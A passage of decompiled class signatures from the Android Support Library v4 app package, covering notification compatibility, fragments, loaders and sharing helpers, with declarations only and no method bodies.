    public NotificationCompat$Action getAction(android.app.Notification, int);
    public NotificationCompat$Action[] getActionsFromParcelableArrayList(java.util.ArrayList);
    public java.util.ArrayList getParcelableArrayListForActions(NotificationCompat$Action[]);
    public String getCategory(android.app.Notification);
    public boolean getLocalOnly(android.app.Notification);
    public String getGroup(android.app.Notification);
    public boolean isGroupSummary(android.app.Notification);
    public String getSortKey(android.app.Notification);
    public android.os.Bundle getBundleForUnreadConversation(NotificationCompatBase$UnreadConversation);
    public NotificationCompatBase$UnreadConversation getUnreadConversationFromBundle(android.os.Bundle, NotificationCompatBase$UnreadConversation$Factory, RemoteInputCompatBase$RemoteInput$Factory);
}










android/support/v4/app/NotificationCompatBase$Action$Factory.class


package android.support.v4.app;
public abstract interface NotificationCompatBase$Action$Factory {
    public abstract NotificationCompatBase$Action build(int, CharSequence, android.app.PendingIntent, android.os.Bundle, RemoteInputCompatBase$RemoteInput[]);
    public abstract NotificationCompatBase$Action[] newArray(int);
}










android/support/v4/app/NotificationCompatSideChannelService.class


package android.support.v4.app;
public abstract synchronized class NotificationCompatSideChannelService extends android.app.Service {
    public void NotificationCompatSideChannelService();
    public android.os.IBinder onBind(android.content.Intent);
    public abstract void notify(String, int, String, android.app.Notification);
    public abstract void cancel(String, int, String);
    public abstract void cancelAll(String);
    private void checkPermission(int, String);
}










android/support/v4/app/RemoteInput$ImplJellybean.class


package android.support.v4.app;
synchronized class RemoteInput$ImplJellybean implements RemoteInput$Impl {
    void RemoteInput$ImplJellybean();
    public android.os.Bundle getResultsFromIntent(android.content.Intent);
    public void addResultsToIntent(RemoteInput[], android.content.Intent, android.os.Bundle);
}










android/support/v4/app/NotificationCompat$NotificationCompatImpl.class


package android.support.v4.app;
abstract interface NotificationCompat$NotificationCompatImpl {
    public abstract android.app.Notification build(NotificationCompat$Builder);
    public abstract android.os.Bundle getExtras(android.app.Notification);
    public abstract int getActionCount(android.app.Notification);
    public abstract NotificationCompat$Action getAction(android.app.Notification, int);
    public abstract NotificationCompat$Action[] getActionsFromParcelableArrayList(java.util.ArrayList);
    public abstract java.util.ArrayList getParcelableArrayListForActions(NotificationCompat$Action[]);
    public abstract String getCategory(android.app.Notification);
    public abstract boolean getLocalOnly(android.app.Notification);
    public abstract String getGroup(android.app.Notification);
    public abstract boolean isGroupSummary(android.app.Notification);
    public abstract String getSortKey(android.app.Notification);
    public abstract android.os.Bundle getBundleForUnreadConversation(NotificationCompatBase$UnreadConversation);
    public abstract NotificationCompatBase$UnreadConversation getUnreadConversationFromBundle(android.os.Bundle, NotificationCompatBase$UnreadConversation$Factory, RemoteInputCompatBase$RemoteInput$Factory);
}










android/support/v4/app/ActivityOptionsCompat$ActivityOptionsImplJB.class


package android.support.v4.app;
synchronized class ActivityOptionsCompat$ActivityOptionsImplJB extends ActivityOptionsCompat {
    private final ActivityOptionsCompatJB mImpl;
    void ActivityOptionsCompat$ActivityOptionsImplJB(ActivityOptionsCompatJB);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/ListFragment$1.class


package android.support.v4.app;
synchronized class ListFragment$1 implements Runnable {
    void ListFragment$1(ListFragment);
    public void run();
}










android/support/v4/app/NotificationCompatSideChannelService$NotificationSideChannelStub.class


package android.support.v4.app;
synchronized class NotificationCompatSideChannelService$NotificationSideChannelStub extends INotificationSideChannel$Stub {
    private void NotificationCompatSideChannelService$NotificationSideChannelStub(NotificationCompatSideChannelService);
    public void notify(String, int, String, android.app.Notification) throws android.os.RemoteException;
    public void cancel(String, int, String) throws android.os.RemoteException;
    public void cancelAll(String);
}










android/support/v4/app/INotificationSideChannel.class


package android.support.v4.app;
public abstract interface INotificationSideChannel extends android.os.IInterface {
    public abstract void notify(String, int, String, android.app.Notification) throws android.os.RemoteException;
    public abstract void cancel(String, int, String) throws android.os.RemoteException;
    public abstract void cancelAll(String) throws android.os.RemoteException;
}










android/support/v4/app/ActionBarDrawerToggleHoneycomb$SetIndicatorInfo.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleHoneycomb$SetIndicatorInfo {
    public reflect.Method setHomeAsUpIndicator;
    public reflect.Method setHomeActionContentDescription;
    public android.widget.ImageView upIndicatorView;
    void ActionBarDrawerToggleHoneycomb$SetIndicatorInfo(android.app.Activity);
}










android/support/v4/app/Fragment$1.class


package android.support.v4.app;
synchronized class Fragment$1 implements FragmentContainer {
    void Fragment$1(Fragment);
    public android.view.View findViewById(int);
    public boolean hasView();
}










android/support/v4/app/NotificationManagerCompat$NotifyTask.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$NotifyTask implements NotificationManagerCompat$Task {
    final String packageName;
    final int id;
    final String tag;
    final android.app.Notification notif;
    public void NotificationManagerCompat$NotifyTask(String, int, String, android.app.Notification);
    public void send(INotificationSideChannel) throws android.os.RemoteException;
    public String toString();
}










android/support/v4/app/FragmentTabHost.class


package android.support.v4.app;
public synchronized class FragmentTabHost extends android.widget.TabHost implements android.widget.TabHost$OnTabChangeListener {
    private final java.util.ArrayList mTabs;
    private android.widget.FrameLayout mRealTabContent;
    private android.content.Context mContext;
    private FragmentManager mFragmentManager;
    private int mContainerId;
    private android.widget.TabHost$OnTabChangeListener mOnTabChangeListener;
    private FragmentTabHost$TabInfo mLastTab;
    private boolean mAttached;
    public void FragmentTabHost(android.content.Context);
    public void FragmentTabHost(android.content.Context, android.util.AttributeSet);
    private void initFragmentTabHost(android.content.Context, android.util.AttributeSet);
    private void ensureHierarchy(android.content.Context);
    public void setup();
    public void setup(android.content.Context, FragmentManager);
    public void setup(android.content.Context, FragmentManager, int);
    private void ensureContent();
    public void setOnTabChangedListener(android.widget.TabHost$OnTabChangeListener);
    public void addTab(android.widget.TabHost$TabSpec, Class, android.os.Bundle);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    public void onTabChanged(String);
    private FragmentTransaction doTabChanged(String, FragmentTransaction);
}










android/support/v4/app/NotificationCompat$BigPictureStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigPictureStyle extends NotificationCompat$Style {
    android.graphics.Bitmap mPicture;
    android.graphics.Bitmap mBigLargeIcon;
    boolean mBigLargeIconSet;
    public void NotificationCompat$BigPictureStyle();
    public void NotificationCompat$BigPictureStyle(NotificationCompat$Builder);
    public NotificationCompat$BigPictureStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigPictureStyle setSummaryText(CharSequence);
    public NotificationCompat$BigPictureStyle bigPicture(android.graphics.Bitmap);
    public NotificationCompat$BigPictureStyle bigLargeIcon(android.graphics.Bitmap);
}










android/support/v4/app/NotificationCompatApi21.class


package android.support.v4.app;
synchronized class NotificationCompatApi21 {
    public static final String CATEGORY_CALL = call;
    public static final String CATEGORY_MESSAGE = msg;
    public static final String CATEGORY_EMAIL = email;
    public static final String CATEGORY_EVENT = event;
    public static final String CATEGORY_PROMO = promo;
    public static final String CATEGORY_ALARM = alarm;
    public static final String CATEGORY_PROGRESS = progress;
    public static final String CATEGORY_SOCIAL = social;
    public static final String CATEGORY_ERROR = err;
    public static final String CATEGORY_TRANSPORT = transport;
    public static final String CATEGORY_SYSTEM = sys;
    public static final String CATEGORY_SERVICE = service;
    public static final String CATEGORY_RECOMMENDATION = recommendation;
    public static final String CATEGORY_STATUS = status;
    private static final String KEY_AUTHOR = author;
    private static final String KEY_TEXT = text;
    private static final String KEY_MESSAGES = messages;
    private static final String KEY_REMOTE_INPUT = remote_input;
    private static final String KEY_ON_REPLY = on_reply;
    private static final String KEY_ON_READ = on_read;
    private static final String KEY_PARTICIPANTS = participants;
    private static final String KEY_TIMESTAMP = timestamp;
    void NotificationCompatApi21();
    public static String getCategory(android.app.Notification);
    static android.os.Bundle getBundleForUnreadConversation(NotificationCompatBase$UnreadConversation);
    static NotificationCompatBase$UnreadConversation getUnreadConversationFromBundle(android.os.Bundle, NotificationCompatBase$UnreadConversation$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    private static android.app.RemoteInput fromCompatRemoteInput(RemoteInputCompatBase$RemoteInput);
    private static RemoteInputCompatBase$RemoteInput toCompatRemoteInput(android.app.RemoteInput, RemoteInputCompatBase$RemoteInput$Factory);
}










android/support/v4/app/LoaderManagerImpl.class


package android.support.v4.app;
synchronized class LoaderManagerImpl extends LoaderManager {
    static final String TAG = LoaderManager;
    static boolean DEBUG;
    final android.support.v4.util.SparseArrayCompat mLoaders;
    final android.support.v4.util.SparseArrayCompat mInactiveLoaders;
    final String mWho;
    FragmentActivity mActivity;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mCreatingLoader;
    void LoaderManagerImpl(String, FragmentActivity, boolean);
    void updateActivity(FragmentActivity);
    private LoaderManagerImpl$LoaderInfo createLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    private LoaderManagerImpl$LoaderInfo createAndInstallLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void installLoader(LoaderManagerImpl$LoaderInfo);
    public android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public void destroyLoader(int);
    public android.support.v4.content.Loader getLoader(int);
    void doStart();
    void doStop();
    void doRetain();
    void finishRetain();
    void doReportNextStart();
    void doReportStart();
    void doDestroy();
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public boolean hasRunningLoaders();
    static void <clinit>();
}










android/support/v4/app/FragmentManagerImpl$4.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$4 implements Runnable {
    void FragmentManagerImpl$4(FragmentManagerImpl, int, int);
    public void run();
}










android/support/v4/app/LoaderManagerImpl$LoaderInfo.class


package android.support.v4.app;
final synchronized class LoaderManagerImpl$LoaderInfo implements android.support.v4.content.Loader$OnLoadCompleteListener {
    final int mId;
    final android.os.Bundle mArgs;
    LoaderManager$LoaderCallbacks mCallbacks;
    android.support.v4.content.Loader mLoader;
    boolean mHaveData;
    boolean mDeliveredData;
    Object mData;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mReportNextStart;
    boolean mDestroyed;
    boolean mListenerRegistered;
    LoaderManagerImpl$LoaderInfo mPendingLoader;
    public void LoaderManagerImpl$LoaderInfo(LoaderManagerImpl, int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void start();
    void retain();
    void finishRetain();
    void reportStart();
    void stop();
    void destroy();
    public void onLoadComplete(android.support.v4.content.Loader, Object);
    void callOnLoadFinished(android.support.v4.content.Loader, Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplKitKat.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplKitKat extends NotificationCompat$NotificationCompatImplJellybean {
    void NotificationCompat$NotificationCompatImplKitKat();
    public android.app.Notification build(NotificationCompat$Builder);
    public android.os.Bundle getExtras(android.app.Notification);
    public int getActionCount(android.app.Notification);
    public NotificationCompat$Action getAction(android.app.Notification, int);
    public boolean getLocalOnly(android.app.Notification);
    public String getGroup(android.app.Notification);
    public boolean isGroupSummary(android.app.Notification);
    public String getSortKey(android.app.Notification);
}










android/support/v4/app/ActivityCompat$SharedElementCallback21Impl.class


package android.support.v4.app;
synchronized class ActivityCompat$SharedElementCallback21Impl extends ActivityCompat21$SharedElementCallback21 {
    private SharedElementCallback mCallback;
    public void ActivityCompat$SharedElementCallback21Impl(SharedElementCallback);
    public void onSharedElementStart(java.util.List, java.util.List, java.util.List);
    public void onSharedElementEnd(java.util.List, java.util.List, java.util.List);
    public void onRejectSharedElements(java.util.List);
    public void onMapSharedElements(java.util.List, java.util.Map);
    public android.os.Parcelable onCaptureSharedElementSnapshot(android.view.View, android.graphics.Matrix, android.graphics.RectF);
    public android.view.View onCreateSnapshotView(android.content.Context, android.os.Parcelable);
}










android/support/v4/app/ListFragment$2.class


package android.support.v4.app;
synchronized class ListFragment$2 implements android.widget.AdapterView$OnItemClickListener {
    void ListFragment$2(ListFragment);
    public void onItemClick(android.widget.AdapterView, android.view.View, int, long);
}










android/support/v4/app/FragmentManagerState$1.class


package android.support.v4.app;
final synchronized class FragmentManagerState$1 implements android.os.Parcelable$Creator {
    void FragmentManagerState$1();
    public FragmentManagerState createFromParcel(android.os.Parcel);
    public FragmentManagerState[] newArray(int);
}










android/support/v4/app/FragmentTabHost$TabInfo.class


package android.support.v4.app;
final synchronized class FragmentTabHost$TabInfo {
    private final String tag;
    private final Class clss;
    private final android.os.Bundle args;
    private Fragment fragment;
    void FragmentTabHost$TabInfo(String, Class, android.os.Bundle);
}










android/support/v4/app/ActionBarDrawerToggleJellybeanMR2.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleJellybeanMR2 {
    private static final String TAG = ActionBarDrawerToggleImplJellybeanMR2;
    private static final int[] THEME_ATTRS;
    void ActionBarDrawerToggleJellybeanMR2();
    public static Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public static Object setActionBarDescription(Object, android.app.Activity, int);
    public static android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    static void <clinit>();
}










android/support/v4/app/NotificationCompatApi20$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompatApi20$Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions {
    private android.app.Notification$Builder b;
    private android.os.Bundle mExtras;
    public void NotificationCompatApi20$Builder(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, boolean, int, CharSequence, boolean, java.util.ArrayList, android.os.Bundle, String, boolean, String);
    public void addAction(NotificationCompatBase$Action);
    public android.app.Notification$Builder getBuilder();
    public android.app.Notification build();
}










android/support/v4/app/ActionBarDrawerToggle$1.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$1 {
}










android/support/v4/app/NotificationManagerCompat$ImplEclair.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$ImplEclair extends NotificationManagerCompat$ImplBase {
    void NotificationManagerCompat$ImplEclair();
    public void cancelNotification(android.app.NotificationManager, String, int);
    public void postNotification(android.app.NotificationManager, String, int, android.app.Notification);
}










android/support/v4/app/ShareCompat$ShareCompatImplICS.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplICS extends ShareCompat$ShareCompatImplBase {
    void ShareCompat$ShareCompatImplICS();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplHoneycomb extends NotificationCompat$NotificationCompatImplBase {
    void NotificationCompat$NotificationCompatImplHoneycomb();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/NotificationManagerCompat.class


package android.support.v4.app;
public synchronized class NotificationManagerCompat {
    private static final String TAG = NotifManCompat;
    public static final String EXTRA_USE_SIDE_CHANNEL = android.support.useSideChannel;
    public static final String ACTION_BIND_SIDE_CHANNEL = android.support.BIND_NOTIFICATION_SIDE_CHANNEL;
    static final int MAX_SIDE_CHANNEL_SDK_VERSION = 19;
    private static final int SIDE_CHANNEL_RETRY_BASE_INTERVAL_MS = 1000;
    private static final int SIDE_CHANNEL_RETRY_MAX_COUNT = 6;
    private static final String SETTING_ENABLED_NOTIFICATION_LISTENERS = enabled_notification_listeners;
    private static final int SIDE_CHANNEL_BIND_FLAGS;
    private static final Object sEnabledNotificationListenersLock;
    private static String sEnabledNotificationListeners;
    private static java.util.Set sEnabledNotificationListenerPackages;
    private final android.content.Context mContext;
    private final android.app.NotificationManager mNotificationManager;
    private static final Object sLock;
    private static NotificationManagerCompat$SideChannelManager sSideChannelManager;
    private static final NotificationManagerCompat$Impl IMPL;
    public static NotificationManagerCompat from(android.content.Context);
    private void NotificationManagerCompat(android.content.Context);
    public void cancel(int);
    public void cancel(String, int);
    public void cancelAll();
    public void notify(int, android.app.Notification);
    public void notify(String, int, android.app.Notification);
    public static java.util.Set getEnabledListenerPackages(android.content.Context);
    private static boolean useSideChannelForNotification(android.app.Notification);
    private void pushSideChannelQueue(NotificationManagerCompat$Task);
    static void <clinit>();
}










android/support/v4/app/FragmentContainer.class


package android.support.v4.app;
abstract interface FragmentContainer {
    public abstract android.view.View findViewById(int);
    public abstract boolean hasView();
}










android/support/v4/app/FragmentManagerImpl$2.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$2 implements Runnable {
    void FragmentManagerImpl$2(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplApi21.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplApi21 extends NotificationCompat$NotificationCompatImplApi20 {
    void NotificationCompat$NotificationCompatImplApi21();
    public android.app.Notification build(NotificationCompat$Builder);
    public String getCategory(android.app.Notification);
    public android.os.Bundle getBundleForUnreadConversation(NotificationCompatBase$UnreadConversation);
    public NotificationCompatBase$UnreadConversation getUnreadConversationFromBundle(android.os.Bundle, NotificationCompatBase$UnreadConversation$Factory, RemoteInputCompatBase$RemoteInput$Factory);
}










android/support/v4/app/NotificationCompat$CarExtender.class


package android.support.v4.app;
public final synchronized class NotificationCompat$CarExtender implements NotificationCompat$Extender {
    private static final String TAG = CarExtender;
    private static final String EXTRA_CAR_EXTENDER = android.car.EXTENSIONS;
    private static final String EXTRA_LARGE_ICON = large_icon;
    private static final String EXTRA_CONVERSATION = car_conversation;
    private static final String EXTRA_COLOR = app_color;
    private android.graphics.Bitmap mLargeIcon;
    private NotificationCompat$CarExtender$UnreadConversation mUnreadConversation;
    private int mColor;
    public void NotificationCompat$CarExtender();
    public void NotificationCompat$CarExtender(android.app.Notification);
    public NotificationCompat$Builder extend(NotificationCompat$Builder);
    public NotificationCompat$CarExtender setColor(int);
    public int getColor();
    public NotificationCompat$CarExtender setLargeIcon(android.graphics.Bitmap);
    public android.graphics.Bitmap getLargeIcon();
    public NotificationCompat$CarExtender setUnreadConversation(NotificationCompat$CarExtender$UnreadConversation);
    public NotificationCompat$CarExtender$UnreadConversation getUnreadConversation();
}










android/support/v4/app/ListFragment.class


package android.support.v4.app;
public synchronized class ListFragment extends Fragment {
    static final int INTERNAL_EMPTY_ID = 16711681;
    static final int INTERNAL_PROGRESS_CONTAINER_ID = 16711682;
    static final int INTERNAL_LIST_CONTAINER_ID = 16711683;
    private final android.os.Handler mHandler;
    private final Runnable mRequestFocus;
    private final android.widget.AdapterView$OnItemClickListener mOnClickListener;
    android.widget.ListAdapter mAdapter;
    android.widget.ListView mList;
    android.view.View mEmptyView;
    android.widget.TextView mStandardEmptyView;
    android.view.View mProgressContainer;
    android.view.View mListContainer;
    CharSequence mEmptyText;
    boolean mListShown;
    public void ListFragment();
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public void onDestroyView();
    public void onListItemClick(android.widget.ListView, android.view.View, int, long);
    public void setListAdapter(android.widget.ListAdapter);
    public void setSelection(int);
    public int getSelectedItemPosition();
    public long getSelectedItemId();
    public android.widget.ListView getListView();
    public void setEmptyText(CharSequence);
    public void setListShown(boolean);
    public void setListShownNoAnimation(boolean);
    private void setListShown(boolean, boolean);
    public android.widget.ListAdapter getListAdapter();
    private void ensureList();
}










android/support/v4/app/ActivityOptionsCompat21.class


package android.support.v4.app;
synchronized class ActivityOptionsCompat21 {
    private final android.app.ActivityOptions mActivityOptions;
    public static ActivityOptionsCompat21 makeSceneTransitionAnimation(android.app.Activity, android.view.View, String);
    public static ActivityOptionsCompat21 makeSceneTransitionAnimation(android.app.Activity, android.view.View[], String[]);
    private void ActivityOptionsCompat21(android.app.ActivityOptions);
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat21);
}










android/support/v4/app/FragmentTransitionCompat21$2.class


package android.support.v4.app;
final synchronized class FragmentTransitionCompat21$2 implements android.view.ViewTreeObserver$OnPreDrawListener {
    void FragmentTransitionCompat21$2(android.view.View, FragmentTransitionCompat21$ViewRetriever, java.util.Map, java.util.Map, android.transition.Transition, java.util.ArrayList);
    public boolean onPreDraw();
}










android/support/v4/app/RemoteInput$ImplApi20.class


package android.support.v4.app;
synchronized class RemoteInput$ImplApi20 implements RemoteInput$Impl {
    void RemoteInput$ImplApi20();
    public android.os.Bundle getResultsFromIntent(android.content.Intent);
    public void addResultsToIntent(RemoteInput[], android.content.Intent, android.os.Bundle);
}










android/support/v4/app/ShareCompat$ShareCompatImpl.class


package android.support.v4.app;
abstract interface ShareCompat$ShareCompatImpl {
    public abstract void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public abstract String escapeHtml(CharSequence);
}










android/support/v4/app/NavUtils$NavUtilsImplJB.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplJB extends NavUtils$NavUtilsImplBase {
    void NavUtils$NavUtilsImplJB();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    android.content.Intent superGetParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/NotificationCompat$Action$WearableExtender.class


package android.support.v4.app;
public final synchronized class NotificationCompat$Action$WearableExtender implements NotificationCompat$Action$Extender {
    private static final String EXTRA_WEARABLE_EXTENSIONS = android.wearable.EXTENSIONS;
    private static final String KEY_FLAGS = flags;
    private static final String KEY_IN_PROGRESS_LABEL = inProgressLabel;
    private static final String KEY_CONFIRM_LABEL = confirmLabel;
    private static final String KEY_CANCEL_LABEL = cancelLabel;
    private static final int FLAG_AVAILABLE_OFFLINE = 1;
    private static final int DEFAULT_FLAGS = 1;
    private int mFlags;
    private CharSequence mInProgressLabel;
    private CharSequence mConfirmLabel;
    private CharSequence mCancelLabel;
    public void NotificationCompat$Action$WearableExtender();
    public void NotificationCompat$Action$WearableExtender(NotificationCompat$Action);
    public NotificationCompat$Action$Builder extend(NotificationCompat$Action$Builder);
    public NotificationCompat$Action$WearableExtender clone();
    public NotificationCompat$Action$WearableExtender setAvailableOffline(boolean);
    public boolean isAvailableOffline();
    private void setFlag(int, boolean);
    public NotificationCompat$Action$WearableExtender setInProgressLabel(CharSequence);
    public CharSequence getInProgressLabel();
    public NotificationCompat$Action$WearableExtender setConfirmLabel(CharSequence);
    public CharSequence getConfirmLabel();
    public NotificationCompat$Action$WearableExtender setCancelLabel(CharSequence);
    public CharSequence getCancelLabel();
}










android/support/v4/app/ShareCompat.class


package android.support.v4.app;
public synchronized class ShareCompat {
    public static final String EXTRA_CALLING_PACKAGE = android.support.v4.app.EXTRA_CALLING_PACKAGE;
    public static final String EXTRA_CALLING_ACTIVITY = android.support.v4.app.EXTRA_CALLING_ACTIVITY;
    private static ShareCompat$ShareCompatImpl IMPL;
    public void ShareCompat();
    public static String getCallingPackage(android.app.Activity);
    public static android.content.ComponentName getCallingActivity(android.app.Activity);
    public static void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public static void configureMenuItem(android.view.Menu, int, ShareCompat$IntentBuilder);
    static void <clinit>();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImpl.class


package android.support.v4.app;
abstract interface TaskStackBuilder$TaskStackBuilderImpl {
    public abstract android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/ActionBarDrawerToggle$DelegateProvider.class


package android.support.v4.app;
public abstract interface ActionBarDrawerToggle$DelegateProvider {
    public abstract ActionBarDrawerToggle$Delegate getDrawerToggleDelegate();
}










android/support/v4/app/ServiceCompat.class


package android.support.v4.app;
public synchronized class ServiceCompat {
    public static final int START_STICKY = 1;
    private void ServiceCompat();
}










android/support/v4/app/TaskStackBuilder$SupportParentable.class


package android.support.v4.app;
public abstract interface TaskStackBuilder$SupportParentable {
    public abstract android.content.Intent getSupportParentActivityIntent();
}










android/support/v4/app/FragmentManagerImpl$FragmentTag.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$FragmentTag {
    public static final int[] Fragment;
    public static final int Fragment_id = 1;
    public static final int Fragment_name = 0;
    public static final int Fragment_tag = 2;
    void FragmentManagerImpl$FragmentTag();
    static void <clinit>();
}










android/support/v4/app/ActivityCompat.class


package android.support.v4.app;
public synchronized class ActivityCompat extends android.support.v4.content.ContextCompat {
    public void ActivityCompat();
    public static boolean invalidateOptionsMenu(android.app.Activity);
    public static void startActivity(android.app.Activity, android.content.Intent, android.os.Bundle);
    public static void startActivityForResult(android.app.Activity, android.content.Intent, int, android.os.Bundle);
    public static void finishAffinity(android.app.Activity);
    public static void finishAfterTransition(android.app.Activity);
    public static void setEnterSharedElementCallback(android.app.Activity, SharedElementCallback);
    public static void setExitSharedElementCallback(android.app.Activity, SharedElementCallback);
    public static void postponeEnterTransition(android.app.Activity);
    public static void startPostponedEnterTransition(android.app.Activity);
    private static ActivityCompat21$SharedElementCallback21 createCallback(SharedElementCallback);
}










android/support/v4/app/NotificationCompat$CarExtender$UnreadConversation$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompat$CarExtender$UnreadConversation$Builder {
    private final java.util.List mMessages;
    private final String mParticipant;
    private RemoteInput mRemoteInput;
    private android.app.PendingIntent mReadPendingIntent;
    private android.app.PendingIntent mReplyPendingIntent;
    private long mLatestTimestamp;
    public void NotificationCompat$CarExtender$UnreadConversation$Builder(String);
    public NotificationCompat$CarExtender$UnreadConversation$Builder addMessage(String);
    public NotificationCompat$CarExtender$UnreadConversation$Builder setReplyAction(android.app.PendingIntent, RemoteInput);
    public NotificationCompat$CarExtender$UnreadConversation$Builder setReadPendingIntent(android.app.PendingIntent);
    public NotificationCompat$CarExtender$UnreadConversation$Builder setLatestTimestamp(long);
    public NotificationCompat$CarExtender$UnreadConversation build();
}










android/support/v4/app/NotificationManagerCompat$SideChannelManager$ListenerRecord.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$SideChannelManager$ListenerRecord {
    public final android.content.ComponentName componentName;
    public boolean bound;
    public INotificationSideChannel service;
    public java.util.LinkedList taskQueue;
    public int retryCount;
    public void NotificationManagerCompat$SideChannelManager$ListenerRecord(android.content.ComponentName);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplJellybean.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplJellybean extends NotificationCompat$NotificationCompatImplBase {
    void NotificationCompat$NotificationCompatImplJellybean();
    public android.app.Notification build(NotificationCompat$Builder);
    public android.os.Bundle getExtras(android.app.Notification);
    public int getActionCount(android.app.Notification);
    public NotificationCompat$Action getAction(android.app.Notification, int);
    public NotificationCompat$Action[] getActionsFromParcelableArrayList(java.util.ArrayList);
    public java.util.ArrayList getParcelableArrayListForActions(NotificationCompat$Action[]);
    public boolean getLocalOnly(android.app.Notification);
    public String getGroup(android.app.Notification);
    public boolean isGroupSummary(android.app.Notification);
    public String getSortKey(android.app.Notification);
}










android/support/v4/app/FragmentTabHost$SavedState$1.class


package android.support.v4.app;
final synchronized class FragmentTabHost$SavedState$1 implements android.os.Parcelable$Creator {
    void FragmentTabHost$SavedState$1();
    public FragmentTabHost$SavedState createFromParcel(android.os.Parcel);
    public FragmentTabHost$SavedState[] newArray(int);
}










android/support/v4/app/BackStackRecord$Op.class


package android.support.v4.app;
final synchronized class BackStackRecord$Op {
    BackStackRecord$Op next;
    BackStackRecord$Op prev;
    int cmd;
    Fragment fragment;
    int enterAnim;
    int exitAnim;
    int popEnterAnim;
    int popExitAnim;
    java.util.ArrayList removed;
    void BackStackRecord$Op();
}










android/support/v4/app/ActionBarDrawerToggle$ActionBarDrawerToggleImpl.class


package android.support.v4.app;
abstract interface ActionBarDrawerToggle$ActionBarDrawerToggleImpl {
    public abstract android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    public abstract Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public abstract Object setActionBarDescription(Object, android.app.Activity, int);
}










android/support/v4/app/FragmentManager.class


package android.support.v4.app;
public abstract synchronized class FragmentManager {
    public static final int POP_BACK_STACK_INCLUSIVE = 1;
    public void FragmentManager();
    public abstract FragmentTransaction beginTransaction();
    public FragmentTransaction openTransaction();
    public abstract boolean executePendingTransactions();
    public abstract Fragment findFragmentById(int);
    public abstract Fragment findFragmentByTag(String);
    public abstract void popBackStack();
    public abstract boolean popBackStackImmediate();
    public abstract void popBackStack(String, int);
    public abstract boolean popBackStackImmediate(String, int);
    public abstract void popBackStack(int, int);
    public abstract boolean popBackStackImmediate(int, int);
    public abstract int getBackStackEntryCount();
    public abstract FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public abstract void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void putFragment(android.os.Bundle, String, Fragment);
    public abstract Fragment getFragment(android.os.Bundle, String);
    public abstract java.util.List getFragments();
    public abstract Fragment$SavedState saveFragmentInstanceState(Fragment);
    public abstract boolean isDestroyed();
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
}










android/support/v4/app/ShareCompat$ShareCompatImplBase.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplBase implements ShareCompat$ShareCompatImpl {
    void ShareCompat$ShareCompatImplBase();
